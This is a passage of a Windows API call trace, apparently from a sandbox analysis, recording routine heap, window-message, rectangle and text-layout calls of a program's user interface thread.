[0117.113] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.113] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.113] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.113] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.113] GetCursor () returned 0x10005
[0117.113] GetCurrentThreadId () returned 0x4e0
[0117.113] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.113] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.113] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.113] GetMessageTime () returned 43181
[0117.113] GetMessagePos () returned 0x1c4031f
[0117.113] GetCapture () returned 0x0
[0117.113] GetCurrentThreadId () returned 0x4e0
[0117.113] GetCurrentThreadId () returned 0x4e0
[0117.113] GetCurrentThreadId () returned 0x4e0
[0117.113] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.113] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.113] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.113] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.113] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.113] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.113] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.113] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.113] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.114] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.114] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.114] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf168) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cdf08, lprcSrc1=0x1cdf08, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdf08) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cdd4c, lprcSrc1=0x1cdd4c, lprcSrc2=0x1cdbe8 | out: lprcDst=0x1cdd4c) returned 1
[0117.114] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.114] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.114] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd3c | out: lprcDst=0x1cf168) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cdbf8, lprcSrc1=0x1cdbf8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdbf8) returned 1
[0117.114] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cdd5c | out: lprcDst=0x1cf168) returned 1
[0117.114] LsSetDoc () returned 0x0
[0117.115] LsCreateLine () returned 0x0
[0117.115] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.115] LsDestroyLine () returned 0x0
[0117.115] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.115] IntersectRect (in: lprcDst=0x1cdfc8, lprcSrc1=0x1cdfc8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cdfc8) returned 1
[0117.115] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.115] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.115] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.115] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0117.115] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.115] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.115] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0117.115] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0117.115] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0117.116] LsSetDoc () returned 0x0
[0117.116] LsCreateLine () returned 0x0
[0117.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.116] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.116] LsdnFinishRegular () returned 0x0
[0117.116] LsQueryLinePointPcp () returned 0x0
[0117.116] LsDestroyLine () returned 0x0
[0117.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.116] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.117] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.117] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.117] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0117.117] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0117.117] GetCurrentThreadId () returned 0x4e0
[0117.117] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0117.117] NtdllDefWindowProc_W () returned 0x0
[0117.118] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0117.118] GetCurrentThreadId () returned 0x4e0
[0117.118] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.118] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.118] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.118] GetCurrentThreadId () returned 0x4e0
[0117.118] GetCurrentThreadId () returned 0x4e0
[0117.118] GetCurrentThreadId () returned 0x4e0
[0117.118] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0117.121] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.121] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0117.121] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0117.121] PtInRect (lprc=0x1cf5d0, pt=0x2e5) returned 1
[0117.121] GetCurrentThreadId () returned 0x4e0
[0117.121] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.121] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0117.121] GetMessageTime () returned 43181
[0117.121] GetMessagePos () returned 0x1c4031f
[0117.121] GetCapture () returned 0x0
[0117.121] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0117.121] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0117.121] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0117.121] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.121] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.121] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0117.121] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.121] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0117.122] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.122] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.122] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0117.122] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.122] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0117.122] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.122] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0117.122] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.122] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e50
[0117.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0117.122] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0117.123] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0117.123] LsSetDoc () returned 0x0
[0117.123] LsCreateLine () returned 0x0
[0117.123] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.123] LsDestroyLine () returned 0x0
[0117.123] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.123] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0117.123] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.123] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.123] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0117.123] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0117.123] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.123] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0117.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0117.123] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0117.123] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0117.124] LsSetDoc () returned 0x0
[0117.124] LsCreateLine () returned 0x0
[0117.124] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.124] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0117.124] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0117.124] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.124] LsdnFinishRegular () returned 0x0
[0117.124] LsQueryLinePointPcp () returned 0x0
[0117.124] LsDestroyLine () returned 0x0
[0117.124] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0117.125] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0117.125] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.125] PtInRect (lprc=0x1cf27c, pt=0x11cf6) returned 0
[0117.125] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0117.125] GetCursor () returned 0x10005
[0117.125] GetCurrentThreadId () returned 0x4e0
[0117.125] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0117.125] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0117.125] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0117.125] GetMessageTime () returned 43196
[0117.125] GetMessagePos () returned 0x1c4031f
[0117.125] GetCapture () returned 0x0
[0117.125] GetCurrentThreadId () returned 0x4e0
[0117.126] GetCurrentThreadId () returned 0x4e0
[0117.126] GetCurrentThreadId () returned 0x4e0
[0117.126] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0117.126] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.126] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0117.126] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0117.126] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.126] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0117.126] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0117.126] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.126] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0117.126] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1ce104, lprcSrc1=0x1ce104, lprcSrc2=0x1cdfbc | out: lprcDst=0x1ce104) returned 1
[0117.126] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf168) returned 1
[0117.126] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0117.126] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
